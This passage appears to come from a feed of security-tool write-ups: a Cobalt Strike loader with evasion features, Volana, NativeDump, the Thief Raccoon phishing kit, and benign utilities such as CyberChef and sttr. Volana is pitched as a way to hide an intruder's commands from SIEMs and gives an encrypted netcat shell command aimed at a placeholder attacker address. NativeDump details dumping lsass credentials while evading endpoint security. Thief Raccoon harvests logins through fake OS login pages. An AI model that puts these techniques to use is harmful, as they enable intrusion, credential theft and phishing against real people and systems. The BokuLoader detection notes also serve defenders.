          • Caesar Cipher for string obfuscation
          • 100k UDRL Size
          • Import DLL names and import entry name strings are stomped in virtual beacon DLL.

          Supported Malleable PE Evasion Features

          Command Option(s) Supported
          allocator HeapAlloc, MapViewOfFile, VirtualAlloc All supported via BokuLoader implementation
          module_x64 string (DLL Name) Supported via BokuLoader implementation. Same DLL stomping requirements as CS implementation apply
          obfuscate true/false HTTP/S beacons supported via BokuLoader implementation. SMB/TCP is currently not supported for obfuscate true. Details in issue. Accepting help if you can fix :)
          entry_point RVA as decimal number Supported via BokuLoader implementation
          cleanup true Supported via CS integration
          userwx true/false Supported via BokuLoader implementation
          sleep_mask (true/false) or (Sleepmask Kit+true) Supported. When using default "sleepmask true" (without sleepmask kit) set "userwx true". When using sleepmask kit which supports RX beacon.text memory (src47/Ekko) set "sleepmask true" && "userwx false".
          magic_mz_x64 4 char string Supported via CS integration
          magic_pe 2 char string Supported via CS integration
          transform-x64 prepend escaped hex string BokuLoader.cna Aggressor script modification
          transform-x64 strrep string string BokuLoader.cna Aggressor script modification
          stomppe true/false Unsupported. BokuLoader does not copy beacon DLL headers over. First 0x1000 bytes of virtual beacon DLL are 0x00
          checksum number Experimental. BokuLoader.cna Aggressor script modification
          compile_time date-time string Experimental. BokuLoader.cna Aggressor script modification
          image_size_x64 decimal value Unsupported
          name string Experimental. BokuLoader.cna Aggressor script modification
          rich_header escaped hex string Experimental. BokuLoader.cna Aggressor script modification
          stringw string Unsupported
          string string Unsupported

          Test

          Project Origins

          Usage

          1. Compile the BokuLoader Object file with make
          2. Start your Cobalt Strike Team Server
          3. Within Cobalt Strike, import the BokuLoader.cna Aggressor script
          4. Generate the x64 beacon (Attacks -> Packages -> Windows Executable (S))
          5. Use the Script Console to ensure BokuLoader was implemented in the beacon build

          6. Does not support x86 option. The x86 bin is the original Reflective Loader object file.

          7. Generating RAW beacons works out of the box. When using the Artifact Kit for the beacon loader, the stagesize variable must be larger than the default.
          8. See the Cobalt Strike User-Defined Reflective Loader documenation for additional information

          Detection Guidance

          Hardcoded Strings

          • BokuLoader changes some commonly detected strings to new hardcoded values. These strings can be used to signature BokuLoader:
          Original Cobalt Strike String BokuLoader Cobalt Strike String
          ReflectiveLoader BokuLoader
          Microsoft Base Cryptographic Provider v1.0 12367321236742382543232341241261363163151d
          (admin) (tomin)
          beacon bacons

          Memory Allocators

          DLL Module Stomping

          • The Kernel32.LoadLibraryExA is called to map the DLL from disk
          • The 3rd argument to Kernel32.LoadLibraryExA is DONT_RESOLVE_DLL_REFERENCES (0x00000001)
          • the system does not call DllMain
          • Does not resolve addresses in LDR PEB entry as detailed by MDSec here
          • Detectable by scanning process memory with pe-sieve tool

          Heap Allocation

          • Executable RX or RWX memory will exist in the heap if sleepmask kit is not used.

          Mapped Allocator

          • The Kernel32.CreateFileMappingA & Kernel32.MapViewOfFile is called to allocate memory for the virtual beacon DLL.

          Sleepmask Detection

          Indirect Syscalls

          • BokuLoader calls the following NT systemcalls to setup the loaded executable beacon memory: NtAllocateVirtualMemory, NtProtectVirtualMemory
          • These are called indirectly from the BokuLoader executable memory.
          • Setting userland hooks in ntdll.dll will not detect these systemcalls.
          • It may be possible to register kernelcallbacks using a kernel driver to monitor for the above system calls and detect their usage.
          • The BokuLoader itself will contain the mov eax, r11d; mov r11, r10; mov r10, rcx; jmp r11 assembly instructions within its executable memory.

          Virtual Beacon DLL Header

          • The first 0x1000 bytes of the virtual beacon DLL are zeros.

          Source Code Available

          • The BokuLoader source code is provided within the repository and can be used to create memory signatures.
          • If you have additional detection guidance, please feel free to contribute by submitting a pull request.

          Credits / References

          Reflective Call Stack Spoofing

          Reflective Loader

          HalosGate SysCaller

          • Reenz0h from @SEKTOR7net
          • Checkout Reenz0h's awesome courses and blogs!
          • Best classes for malware development I have taken.
          • Creator of the halos gate technique. His work was initially the motivation for this work.
          • Sektor7 HalosGate Blog

          HellsGate Syscaller

          Aggressor Scripting

          Cobalt Strike User Defined Reflective Loader

          • https://www.cobaltstrike.com/help-user-defined-reflective-loader

          Great Resource for learning Intel ASM

          ETW and AMSI Bypass

          Implementing ASM in C Code with GCC

          • https://outflank.nl/blog/2020/12/26/direct-syscalls-in-beacon-object-files/
          • https://www.cs.uaf.edu/2011/fall/cs301/lecture/10_12_asm_c.html
          • http://gcc.gnu.org/onlinedocs/gcc-4.0.2/gcc/Extended-Asm.html#Extended-Asm

          Cobalt Strike C2 Profiles



          Volana - Shell Command Obfuscation To Avoid Detection Systems

          By: Unknown


          Shell command obfuscation to avoid SIEM/detection system

          During pentest, an important aspect is to be stealth. For this reason you should clear your tracks after your passage. Nevertheless, many infrastructures log command and send them to a SIEM in a real time making the afterwards cleaning part alone useless.

          volana provide a simple way to hide commands executed on compromised machine by providing it self shell runtime (enter your command, volana executes for you). Like this you clear your tracks DURING your passage


          Usage

          You need to get an interactive shell. (Find a way to spawn it, you are a hacker, it's your job ! otherwise). Then download it on target machine and launch it. that's it, now you can type the command you want to be stealthy executed

          ## Download it from github release
          ## If you do not have internet access from compromised machine, find another way
          curl -lO -L https://github.com/ariary/volana/releases/latest/download/volana

          ## Execute it
          ./volana

          ## You are now under the radar
          volana Β» echo "Hi SIEM team! Do you find me?" > /dev/null 2>&1 #you are allowed to be a bit cocky
          volana Β» [command]

          Keyword for volana console: * ring: enable ring mode ie each command is launched with plenty others to cover tracks (from solution that monitor system call) * exit: exit volana console

          from non interactive shell

          Imagine you have a non interactive shell (webshell or blind rce), you could use encrypt and decrypt subcommand. Previously, you need to build volana with embedded encryption key.

          On attacker machine

          ## Build volana with encryption key
          make build.volana-with-encryption

          ## Transfer it on TARGET (the unique detectable command)
          ## [...]

          ## Encrypt the command you want to stealthy execute
          ## (Here a nc bindshell to obtain a interactive shell)
          volana encr "nc [attacker_ip] [attacker_port] -e /bin/bash"
          >>> ENCRYPTED COMMAND

          Copy encrypted command and executed it with your rce on target machine

          ./volana decr [encrypted_command]
          ## Now you have a bindshell, spawn it to make it interactive and use volana usually to be stealth (./volana). + Don't forget to remove volana binary before leaving (cause decryption key can easily be retrieved from it)

          Why not just hide command with echo [command] | base64 ? And decode on target with echo [encoded_command] | base64 -d | bash

          Because we want to be protected against systems that trigger alert for base64 use or that seek base64 text in command. Also we want to make investigation difficult and base64 isn't a real brake.

          Detection

          Keep in mind that volana is not a miracle that will make you totally invisible. Its aim is to make intrusion detection and investigation harder.

          By detected we mean if we are able to trigger an alert if a certain command has been executed.

          Hide from

          Only the volana launching command line will be catched. 🧠 However, by adding a space before executing it, the default bash behavior is to not save it

          • Detection systems that are based on history command output
          • Detection systems that are based on history files
          • .bash_history, ".zsh_history" etc ..
          • Detection systems that are based on bash debug traps
          • Detection systems that are based on sudo built-in logging system
          • Detection systems tracing all processes syscall system-wide (eg opensnoop)
          • Terminal (tty) recorder (script, screen -L, sexonthebash, ovh-ttyrec, etc..)
          • Easy to detect & avoid: pkill -9 script
          • Not a common case
          • screen is a bit more difficult to avoid, however it does not register input (secret input: stty -echo => avoid)
          • Command detection Could be avoid with volana with encryption

          Visible for

          • Detection systems that have alert for unknown command (volana one)
          • Detection systems that are based on keylogger
          • Easy to avoid: copy/past commands
          • Not a common case
          • Detection systems that are based on syslog files (e.g. /var/log/auth.log)
          • Only for sudo or su commands
          • syslog file could be modified and thus be poisoned as you wish (e.g for /var/log/auth.log:logger -p auth.info "No hacker is poisoning your syslog solution, don't worry")
          • Detection systems that are based on syscall (eg auditd,LKML/eBPF)
          • Difficult to analyze, could be make unreadable by making several diversion syscalls
          • Custom LD_PRELOAD injection to make log
          • Not a common case at all

          Bug bounty

          Sorry for the clickbait title, but no money will be provided for contibutors. πŸ›

          Let me know if you have found: * a way to detect volana * a way to spy console that don't detect volana commands * a way to avoid a detection system

          Report here

          Credit



          CyberChef - The Cyber Swiss Army Knife - A Web App For Encryption, Encoding, Compression And Data Analysis

          By: Unknown


          CyberChef is a simple, intuitive web app for carrying out all manner of "cyber" operations within a web browser. These operations include simple encoding like XOR and Base64, more complex encryption like AES, DES and Blowfish, creating binary and hexdumps, compression and decompression of data, calculating hashes and checksums, IPv6 and X.509 parsing, changing character encodings, and much more.

          The tool is designed to enable both technical and non-technical analysts to manipulate data in complex ways without having to deal with complex tools or algorithms. It was conceived, designed, built and incrementally improved by an analyst in their 10% innovation time over several years.


          Live demo

          CyberChef is still under active development. As a result, it shouldn't be considered a finished product. There is still testing and bug fixing to do, new features to be added and additional documentation to write. Please contribute!

          Cryptographic operations in CyberChef should not be relied upon to provide security in any situation. No guarantee is offered for their correctness.

          A live demo can be found here - have fun!

          Containers

          If you would like to try out CyberChef locally you can either build it yourself:

          docker build --tag cyberchef --ulimit nofile=10000 .
          docker run -it -p 8080:80 cyberchef

          Or you can use our image directly:

          docker run -it -p 8080:80 ghcr.io/gchq/cyberchef:latest

          This image is built and published through our GitHub Workflows

          How it works

          There are four main areas in CyberChef:

          1. The input box in the top right, where you can paste, type or drag the text or file you want to operate on.
          2. The output box in the bottom right, where the outcome of your processing will be displayed.
          3. The operations list on the far left, where you can find all the operations that CyberChef is capable of in categorised lists, or by searching.
          4. The recipe area in the middle, where you can drag the operations that you want to use and specify arguments and options.

          You can use as many operations as you like in simple or complex ways. Some examples are as follows:

          Features

          • Drag and drop
            • Operations can be dragged in and out of the recipe list, or reorganised.
            • Files up to 2GB can be dragged over the input box to load them directly into the browser.
          • Auto Bake
            • Whenever you modify the input or the recipe, CyberChef will automatically "bake" for you and produce the output immediately.
            • This can be turned off and operated manually if it is affecting performance (if the input is very large, for instance).
          • Automated encoding detection
            • CyberChef uses a number of techniques to attempt to automatically detect which encodings your data is under. If it finds a suitable operation that make sense of your data, it displays the 'magic' icon in the Output field which you can click to decode your data.
          • Breakpoints
            • You can set breakpoints on any operation in your recipe to pause execution before running it.
            • You can also step through the recipe one operation at a time to see what the data looks like at each stage.
          • Save and load recipes
            • If you come up with an awesome recipe that you know you'll want to use again, just click "Save recipe" and add it to your local storage. It'll be waiting for you next time you visit CyberChef.
            • You can also copy the URL, which includes your recipe and input, to easily share it with others.
          • Search
            • If you know the name of the operation you want or a word associated with it, start typing it into the search field and any matching operations will immediately be shown.
          • Highlighting
          • Save to file and load from file
            • You can save the output to a file at any time or load a file by dragging and dropping it into the input field. Files up to around 2GB are supported (depending on your browser), however, some operations may take a very long time to run over this much data.
          • CyberChef is entirely client-side
            • It should be noted that none of your recipe configuration or input (either text or files) is ever sent to the CyberChef web server - all processing is carried out within your browser, on your own computer.
            • Due to this feature, CyberChef can be downloaded and run locally. You can use the link in the top left corner of the app to download a full copy of CyberChef and drop it into a virtual machine, share it with other people, or host it in a closed network.

          Deep linking

          By manipulating CyberChef's URL hash, you can change the initial settings with which the page opens. The format is https://gchq.github.io/CyberChef/#recipe=Operation()&input=...

          Supported arguments are recipe, input (encoded in Base64), and theme.

          Browser support

          CyberChef is built to support

          • Google Chrome 50+
          • Mozilla Firefox 38+

          Node.js support

          CyberChef is built to fully support Node.js v16. For more information, see the "Node API" wiki page

          Contributing

          Contributing a new operation to CyberChef is super easy! The quickstart script will walk you through the process. If you can write basic JavaScript, you can write a CyberChef operation.

          An installation walkthrough, how-to guides for adding new operations and themes, descriptions of the repository structure, available data types and coding conventions can all be found in the "Contributing" wiki page.

          • Push your changes to your fork.
          • Submit a pull request. If you are doing this for the first time, you will be prompted to sign the GCHQ Contributor Licence Agreement via the CLA assistant on the pull request. This will also ask whether you are happy for GCHQ to contact you about a token of thanks for your contribution, or about job opportunities at GCHQ.


          NativeDump - Dump Lsass Using Only Native APIs By Hand-Crafting Minidump Files (Without MinidumpWriteDump!)

          By: Unknown


          NativeDump allows to dump the lsass process using only NTAPIs generating a Minidump file with only the streams needed to be parsed by tools like Mimikatz or Pypykatz (SystemInfo, ModuleList and Memory64List Streams).


          • NTOpenProcessToken and NtAdjustPrivilegeToken to get the "SeDebugPrivilege" privilege
          • RtlGetVersion to get the Operating System version details (Major version, minor version and build number). This is necessary for the SystemInfo Stream
          • NtQueryInformationProcess and NtReadVirtualMemory to get the lsasrv.dll address. This is the only module necessary for the ModuleList Stream
          • NtOpenProcess to get a handle for the lsass process
          • NtQueryVirtualMemory and NtReadVirtualMemory to loop through the memory regions and dump all possible ones. At the same time it populates the Memory64List Stream

          Usage:

          NativeDump.exe [DUMP_FILE]

          The default file name is "proc_.dmp":

          The tool has been tested against Windows 10 and 11 devices with the most common security solutions (Microsoft Defender for Endpoints, Crowdstrike...) and is for now undetected. However, it does not work if PPL is enabled in the system.

          Some benefits of this technique are: - It does not use the well-known dbghelp!MinidumpWriteDump function - It only uses functions from Ntdll.dll, so it is possible to bypass API hooking by remapping the library - The Minidump file does not have to be written to disk, you can transfer its bytes (encoded or encrypted) to a remote machine

          The project has three branches at the moment (apart from the main branch with the basic technique):

          • ntdlloverwrite - Overwrite ntdll.dll's ".text" section using a clean version from the DLL file already on disk

          • delegates - Overwrite ntdll.dll + Dynamic function resolution + String encryption with AES + XOR-encoding

          • remote - Overwrite ntdll.dll + Dynamic function resolution + String encryption with AES + Send file to remote machine + XOR-encoding


          Technique in detail: Creating a minimal Minidump file

          After reading Minidump undocumented structures, its structure can be summed up to:

          • Header: Information like the Signature ("MDMP"), the location of the Stream Directory and the number of streams
          • Stream Directory: One entry for each stream, containing the type, total size and location in the file of each one
          • Streams: Every stream contains different information related to the process and has its own format
          • Regions: The actual bytes from the process from each memory region which can be read

          I created a parsing tool which can be helpful: MinidumpParser.

          We will focus on creating a valid file with only the necessary values for the header, stream directory and the only 3 streams needed for a Minidump file to be parsed by Mimikatz/Pypykatz: SystemInfo, ModuleList and Memory64List Streams.


          A. Header

          The header is a 32-bytes structure which can be defined in C# as:

          public struct MinidumpHeader
          {
          public uint Signature;
          public ushort Version;
          public ushort ImplementationVersion;
          public ushort NumberOfStreams;
          public uint StreamDirectoryRva;
          public uint CheckSum;
          public IntPtr TimeDateStamp;
          }

          The required values are: - Signature: Fixed value 0x504d44d ("MDMP" string) - Version: Fixed value 0xa793 (Microsoft constant MINIDUMP_VERSION) - NumberOfStreams: Fixed value 3, the three Streams required for the file - StreamDirectoryRVA: Fixed value 0x20 or 32 bytes, the size of the header


          B. Stream Directory

          Each entry in the Stream Directory is a 12-bytes structure so having 3 entries the size is 36 bytes. The C# struct definition for an entry is:

          public struct MinidumpStreamDirectoryEntry
          {
          public uint StreamType;
          public uint Size;
          public uint Location;
          }

          The field "StreamType" represents the type of stream as an integer or ID, some of the most relevant are:

          ID Stream Type
          0x00 UnusedStream
          0x01 ReservedStream0
          0x02 ReservedStream1
          0x03 ThreadListStream
          0x04 ModuleListStream
          0x05 MemoryListStream
          0x06 ExceptionStream
          0x07 SystemInfoStream
          0x08 ThreadExListStream
          0x09 Memory64ListStream
          0x0A CommentStreamA
          0x0B CommentStreamW
          0x0C HandleDataStream
          0x0D FunctionTableStream
          0x0E UnloadedModuleListStream
          0x0F MiscInfoStream
          0x10 MemoryInfoListStream
          0x11 ThreadInfoListStream
          0x12 HandleOperationListStream
          0x13 TokenStream
          0x16 HandleOperationListStream

          C. SystemInformation Stream

          First stream is a SystemInformation Stream, with ID 7. The size is 56 bytes and will be located at offset 68 (0x44), after the Stream Directory. Its C# definition is:

          public struct SystemInformationStream
          {
          public ushort ProcessorArchitecture;
          public ushort ProcessorLevel;
          public ushort ProcessorRevision;
          public byte NumberOfProcessors;
          public byte ProductType;
          public uint MajorVersion;
          public uint MinorVersion;
          public uint BuildNumber;
          public uint PlatformId;
          public uint UnknownField1;
          public uint UnknownField2;
          public IntPtr ProcessorFeatures;
          public IntPtr ProcessorFeatures2;
          public uint UnknownField3;
          public ushort UnknownField14;
          public byte UnknownField15;
          }

          The required values are: - ProcessorArchitecture: 9 for 64-bit and 0 for 32-bit Windows systems - Major version, Minor version and the BuildNumber: Hardcoded or obtained through kernel32!GetVersionEx or ntdll!RtlGetVersion (we will use the latter)


          D. ModuleList Stream

          Second stream is a ModuleList stream, with ID 4. It is located at offset 124 (0x7C) after the SystemInformation stream and it will also have a fixed size, of 112 bytes, since it will have the entry of a single module, the only one needed for the parse to be correct: "lsasrv.dll".

          The typical structure for this stream is a 4-byte value containing the number of entries followed by 108-byte entries for each module:

          public struct ModuleListStream
          {
          public uint NumberOfModules;
          public ModuleInfo[] Modules;
          }

          As there is only one, it gets simplified to:

          public struct ModuleListStream
          {
          public uint NumberOfModules;
          public IntPtr BaseAddress;
          public uint Size;
          public uint UnknownField1;
          public uint Timestamp;
          public uint PointerName;
          public IntPtr UnknownField2;
          public IntPtr UnknownField3;
          public IntPtr UnknownField4;
          public IntPtr UnknownField5;
          public IntPtr UnknownField6;
          public IntPtr UnknownField7;
          public IntPtr UnknownField8;
          public IntPtr UnknownField9;
          public IntPtr UnknownField10;
          public IntPtr UnknownField11;
          }

          The required values are: - NumberOfStreams: Fixed value 1 - BaseAddress: Using psapi!GetModuleBaseName or a combination of ntdll!NtQueryInformationProcess and ntdll!NtReadVirtualMemory (we will use the latter) - Size: Obtained adding all memory region sizes since BaseAddress until one with a size of 4096 bytes (0x1000), the .text section of other library - PointerToName: Unicode string structure for the "C:\Windows\System32\lsasrv.dll" string, located after the stream itself at offset 236 (0xEC)


          E. Memory64List Stream

          Third stream is a Memory64List stream, with ID 9. It is located at offset 298 (0x12A), after the ModuleList stream and the Unicode string, and its size depends on the number of modules.

          public struct Memory64ListStream
          {
          public ulong NumberOfEntries;
          public uint MemoryRegionsBaseAddress;
          public Memory64Info[] MemoryInfoEntries;
          }

          Each module entry is a 16-bytes structure:

          public struct Memory64Info
          {
          public IntPtr Address;
          public IntPtr Size;
          }

          The required values are: - NumberOfEntries: Number of memory regions, obtained after looping memory regions - MemoryRegionsBaseAddress: Location of the start of memory regions bytes, calculated after adding the size of all 16-bytes memory entries - Address and Size: Obtained for each valid region while looping them


          F. Looping memory regions

          There are pre-requisites to loop the memory regions of the lsass.exe process which can be solved using only NTAPIs:

          1. Obtain the "SeDebugPrivilege" permission. Instead of the typical Advapi!OpenProcessToken, Advapi!LookupPrivilegeValue and Advapi!AdjustTokenPrivilege, we will use ntdll!NtOpenProcessToken, ntdll!NtAdjustPrivilegesToken and the hardcoded value of 20 for the Luid (which is constant in all latest Windows versions)
          2. Obtain the process ID. For example, loop all processes using ntdll!NtGetNextProcess, obtain the PEB address with ntdll!NtQueryInformationProcess and use ntdll!NtReadVirtualMemory to read the ImagePathName field inside ProcessParameters. To avoid overcomplicating the PoC, we will use .NET's Process.GetProcessesByName()
          3. Open a process handle. Use ntdll!OpenProcess with permissions PROCESS_QUERY_INFORMATION (0x0400) to retrieve process information and PROCESS_VM_READ (0x0010) to read the memory bytes

          With this it is possible to traverse process memory by calling: - ntdll!NtQueryVirtualMemory: Return a MEMORY_BASIC_INFORMATION structure with the protection type, state, base address and size of each memory region - If the memory protection is not PAGE_NOACCESS (0x01) and the memory state is MEM_COMMIT (0x1000), meaning it is accessible and committed, the base address and size populates one entry of the Memory64List stream and bytes can be added to the file - If the base address equals lsasrv.dll base address, it is used to calculate the size of lsasrv.dll in memory - ntdll!NtReadVirtualMemory: Add bytes of that region to the Minidump file after the Memory64List Stream


          G. Creating Minidump file

          After previous steps we have all that is necessary to create the Minidump file. We can create a file locally or send the bytes to a remote machine, with the possibility of encoding or encrypting the bytes before. Some of these possibilities are coded in the delegates branch, where the file created locally can be encoded with XOR, and in the remote branch, where the file can be encoded with XOR before being sent to a remote machine.




          Sttr - Cross-Platform, Cli App To Perform Various Operations On String

          By: Unknown


          sttr is command line software that allows you to quickly run various transformation operations on the string.


          // With input prompt
          sttr

          // Direct input
          sttr md5 "Hello World"

          // File input
          sttr md5 file.text
          sttr base64-encode image.jpg

          // Reading from different processor like cat, curl, printf etc..
          echo "Hello World" | sttr md5
          cat file.txt | sttr md5

          // Writing output to a file
          sttr yaml-json file.yaml > file-output.json

          :movie_camera: Demo

          :battery: Installation

          Quick install

          You can run the below curl to install it somewhere in your PATH for easy use. Ideally it will be installed at ./bin folder

          curl -sfL https://raw.githubusercontent.com/abhimanyu003/sttr/main/install.sh | sh

          Webi

          MacOS / Linux

          curl -sS https://webi.sh/sttr | sh

          Windows

          curl.exe https://webi.ms/sttr | powershell

          See here

          Homebrew

          If you are on macOS and using Homebrew, you can install sttr with the following:

          brew tap abhimanyu003/sttr
          brew install sttr

          Snap

          sudo snap install sttr

          Arch Linux

          yay -S sttr-bin

          Scoop

          scoop bucket add sttr https://github.com/abhimanyu003/scoop-bucket.git
          scoop install sttr

          Go

          go install github.com/abhimanyu003/sttr@latest

          Manually

          Download the pre-compiled binaries from the Release! page and copy them to the desired location.

          :books: Guide

          • After installation simply run sttr command.
          // For interactive menu
          sttr
          // Provide your input
          // Press two enter to open operation menu
          // Press `/` to filter various operations.
          // Can also press UP-Down arrows select various operations.
          • Working with help.
          sttr -h

          // Example
          sttr zeropad -h
          sttr md5 -h
          • Working with files input.
          sttr {command-name} {filename}

          sttr base64-encode image.jpg
          sttr md5 file.txt
          sttr md-html Readme.md
          • Writing output to file.
          sttr yaml-json file.yaml > file-output.json
          • Taking input from other command.
          curl https: //jsonplaceholder.typicode.com/users | sttr json-yaml
          • Chaining the different processor.
          sttr md5 hello | sttr base64-encode

          echo "Hello World" | sttr base64-encode | sttr md5

          :boom: Supported Operations

          Encode/Decode

          • [x] ascii85-encode - Encode your text to ascii85
          • [x] ascii85-decode - Decode your ascii85 text
          • [x] base32-decode - Decode your base32 text
          • [x] base32-encode - Encode your text to base32
          • [x] base64-decode - Decode your base64 text
          • [x] base64-encode - Encode your text to base64
          • [x] base85-encode - Encode your text to base85
          • [x] base85-decode - Decode your base85 text
          • [x] base64url-decode - Decode your base64 url
          • [x] base64url-encode - Encode your text to url
          • [x] html-decode - Unescape your HTML
          • [x] html-encode - Escape your HTML
          • [x] rot13-encode - Encode your text to ROT13
          • [x] url-decode - Decode URL entities
          • [x] url-encode - Encode URL entities

          Hash

          • [x] bcrypt - Get the Bcrypt hash of your text
          • [x] md5 - Get the MD5 checksum of your text
          • [x] sha1 - Get the SHA1 checksum of your text
          • [x] sha256 - Get the SHA256 checksum of your text
          • [x] sha512 - Get the SHA512 checksum of your text

          String

          • [x] camel - Transform your text to CamelCase
          • [x] kebab - Transform your text to kebab-case
          • [x] lower - Transform your text to lower case
          • [x] reverse - Reverse Text ( txeT esreveR )
          • [x] slug - Transform your text to slug-case
          • [x] snake - Transform your text to snake_case
          • [x] title - Transform your text to Title Case
          • [x] upper - Transform your text to UPPER CASE

          Lines

          • [x] count-lines - Count the number of lines in your text
          • [x] reverse-lines - Reverse lines
          • [x] shuffle-lines - Shuffle lines randomly
          • [x] sort-lines - Sort lines alphabetically
          • [x] unique-lines - Get unique lines from list

          Spaces

          • [x] remove-spaces - Remove all spaces + new lines
          • [x] remove-newlines - Remove all new lines

          Count

          • [x] count-chars - Find the length of your text (including spaces)
          • [x] count-lines - Count the number of lines in your text
          • [x] count-words - Count the number of words in your text

          RGB/Hex

          • [x] hex-rgb - Convert a #hex-color code to RGB
          • [x] hex-encode - Encode your text Hex
          • [x] hex-decode - Convert Hexadecimal to String

          JSON

          • [x] json - Format your text as JSON
          • [x] json-escape - JSON Escape
          • [x] json-unescape - JSON Unescape
          • [x] json-yaml - Convert JSON to YAML text
          • [x] json-msgpack - Convert JSON to MSGPACK
          • [x] msgpack-json - Convert MSGPACK to JSON

          YAML

          • [x] yaml-json - Convert YAML to JSON text

          Markdown

          • [x] markdown-html - Convert Markdown to HTML

          Extract

          • [x] extract-emails - Extract emails from given text
          • [x] extract-ip - Extract IPv4 and IPv6 from your text
          • [x] extract-urls - Extract URls your text ( we don't do ping check )

          Other

          • [x] escape-quotes - escape single and double quotes from your text
          • [x] completion - generate the autocompletion script for the specified shell
          • [x] interactive - Use sttr in interactive mode
          • [x] version - Print the version of sttr
          • [x] zeropad - Pad a number with zeros
          • [x] and adding more....

          Featured On

          These are the few locations where sttr was highlighted, many thanks to all of you. Please feel free to add any blogs/videos you may have made that discuss sttr to the list.



          PIP-INTEL - OSINT and Cyber Intelligence Tool

          By: Unknown

          Β 


          Pip-Intel is a powerful tool designed for OSINT (Open Source Intelligence) and cyber intelligence gathering activities. It consolidates various open-source tools into a single user-friendly interface simplifying the data collection and analysis processes for researchers and cybersecurity professionals.

          Pip-Intel utilizes Python-written pip packages to gather information from various data points. This tool is equipped with the capability to collect detailed information through email addresses, phone numbers, IP addresses, and social media accounts. It offers a wide range of functionalities including email-based OSINT operations, phone number-based inquiries, geolocating IP addresses, social media and user analyses, and even dark web searches.




          Thief Raccoon - Login Phishing Tool

          By: Unknown


          Thief Raccoon is a tool designed for educational purposes to demonstrate how phishing attacks can be conducted on various operating systems. This tool is intended to raise awareness about cybersecurity threats and help users understand the importance of security measures like 2FA and password management.


          Features

          • Phishing simulation for Windows 10, Windows 11, Windows XP, Windows Server, Ubuntu, Ubuntu Server, and macOS.
          • Capture user credentials for educational demonstrations.
          • Customizable login screens that mimic real operating systems.
          • Full-screen mode to enhance the phishing simulation.

          Installation

          Prerequisites

          • Python 3.x
          • pip (Python package installer)
          • ngrok (for exposing the local server to the internet)

          Download and Install

          1. Clone the repository:

          ```bash git clone https://github.com/davenisc/thief_raccoon.git cd thief_raccoon

          1. Install python venv

          ```bash apt install python3.11-venv

          1. Create venv:

          ```bash python -m venv raccoon_venv source raccoon_venv/bin/activate

          1. Install the required libraries:

          ```bash pip install -r requirements.txt

          Usage

          1. Run the main script:

          ```bash python app.py

          1. Select the operating system for the phishing simulation:

          After running the script, you will be presented with a menu to select the operating system. Enter the number corresponding to the OS you want to simulate.

          1. Access the phishing page:

          If you are on the same local network (LAN), open your web browser and navigate to http://127.0.0.1:5000.

          If you want to make the phishing page accessible over the internet, use ngrok.

          Using ngrok

          1. Download and install ngrok

          Download ngrok from ngrok.com and follow the installation instructions for your operating system.

          1. Expose your local server to the internet:

          2. Get the public URL:

          After running the above command, ngrok will provide you with a public URL. Share this URL with your test subjects to access the phishing page over the internet.

          How to install Ngrok on Linux?

          1. Install ngrok via Apt with the following command:

          ```bash curl -s https://ngrok-agent.s3.amazonaws.com/ngrok.asc \ | sudo tee /etc/apt/trusted.gpg.d/ngrok.asc >/dev/null \ && echo "deb https://ngrok-agent.s3.amazonaws.com buster main" \ | sudo tee /etc/apt/sources.list.d/ngrok.list \ && sudo apt update \ && sudo apt install ngrok

          1. Run the following command to add your authtoken to the default ngrok.yml

          ```bash ngrok config add-authtoken xxxxxxxxx--your-token-xxxxxxxxxxxxxx

          Deploy your app online

          1. Put your app online at ephemeral domain Forwarding to your upstream service. For example, if it is listening on port http://localhost:8080, run:

            ```bash ngrok http http://localhost:5000

          Example

          1. Run the main script:

          ```bash python app.py

          1. Select Windows 11 from the menu:

          ```bash Select the operating system for phishing: 1. Windows 10 2. Windows 11 3. Windows XP 4. Windows Server 5. Ubuntu 6. Ubuntu Server 7. macOS Enter the number of your choice: 2

          1. Access the phishing page:

          Open your browser and go to http://127.0.0.1:5000 or the ngrok public URL.

          Disclaimer

          This tool is intended for educational purposes only. The author is not responsible for any misuse of this tool. Always obtain explicit permission from the owner of the system before conducting any phishing tests.

          License

          This project is licensed under the MIT License. See the LICENSE file for details.

          ScreenShots

          Credits

          Developer: @davenisc Web: https://davenisc.com



          X-Recon - A Utility For Detecting Webpage Inputs And Conducting XSS Scans

          By: Zion3R

          A utility for identifying web page inputs and conducting XSS scanning.


          Features:

          • Subdomain Discovery:
          • Retrieves relevant subdomains for the target website and consolidates them into a whitelist. These subdomains can be utilized during the scraping process.

          • Site-wide Link Discovery:

          • Collects all links throughout the website based on the provided whitelist and the specified max_depth.

          • Form and Input Extraction:

          • Identifies all forms and inputs found within the extracted links, generating a JSON output. This JSON output serves as a foundation for leveraging the XSS scanning capability of the tool.

          • XSS Scanning:

          • Once the start recon option returns a custom JSON containing the extracted entries, the X-Recon tool can initiate the XSS vulnerability testing process and furnish you with the desired results!



          Note:

          The scanning functionality is currently inactive on SPA (Single Page Application) web applications, and we have only tested it on websites developed with PHP, yielding remarkable results. In the future, we plan to incorporate these features into the tool.




          Note:

          This tool maintains an up-to-date list of file extensions that it skips during the exploration process. The default list includes common file types such as images, stylesheets, and scripts (".css",".js",".mp4",".zip","png",".svg",".jpeg",".webp",".jpg",".gif"). You can customize this list to better suit your needs by editing the setting.json file..

          Installation

          $ git clone https://github.com/joshkar/X-Recon
          $ cd X-Recon
          $ python3 -m pip install -r requirements.txt
          $ python3 xr.py

          Target For Test:

          You can use this address in the Get URL section

            http://testphp.vulnweb.com


          ROPDump - A Command-Line Tool Designed To Analyze Binary Executables For Potential Return-Oriented Programming (ROP) Gadgets, Buffer Overflow Vulnerabilities, And Memory Leaks

          By: Zion3R


          ROPDump is a tool for analyzing binary executables to identify potential Return-Oriented Programming (ROP) gadgets, as well as detecting potential buffer overflow and memory leak vulnerabilities.


          Features

          • Identifies potential ROP gadgets in binary executables.
          • Detects potential buffer overflow vulnerabilities by analyzing vulnerable functions.
          • Generates exploit templates to make the exploit process faster
          • Identifies potential memory leak vulnerabilities by analyzing memory allocation functions.
          • Can print function names and addresses for further analysis.
          • Supports searching for specific instruction patterns.

          Usage

          • <binary>: Path to the binary file for analysis.
          • -s, --search SEARCH: Optional. Search for specific instruction patterns.
          • -f, --functions: Optional. Print function names and addresses.

          Examples

          • Analyze a binary without searching for specific instructions:

          python3 ropdump.py /path/to/binary

          • Analyze a binary and search for specific instructions:

          python3 ropdump.py /path/to/binary -s "pop eax"

          • Analyze a binary and print function names and addresses:

          python3 ropdump.py /path/to/binary -f



          ❌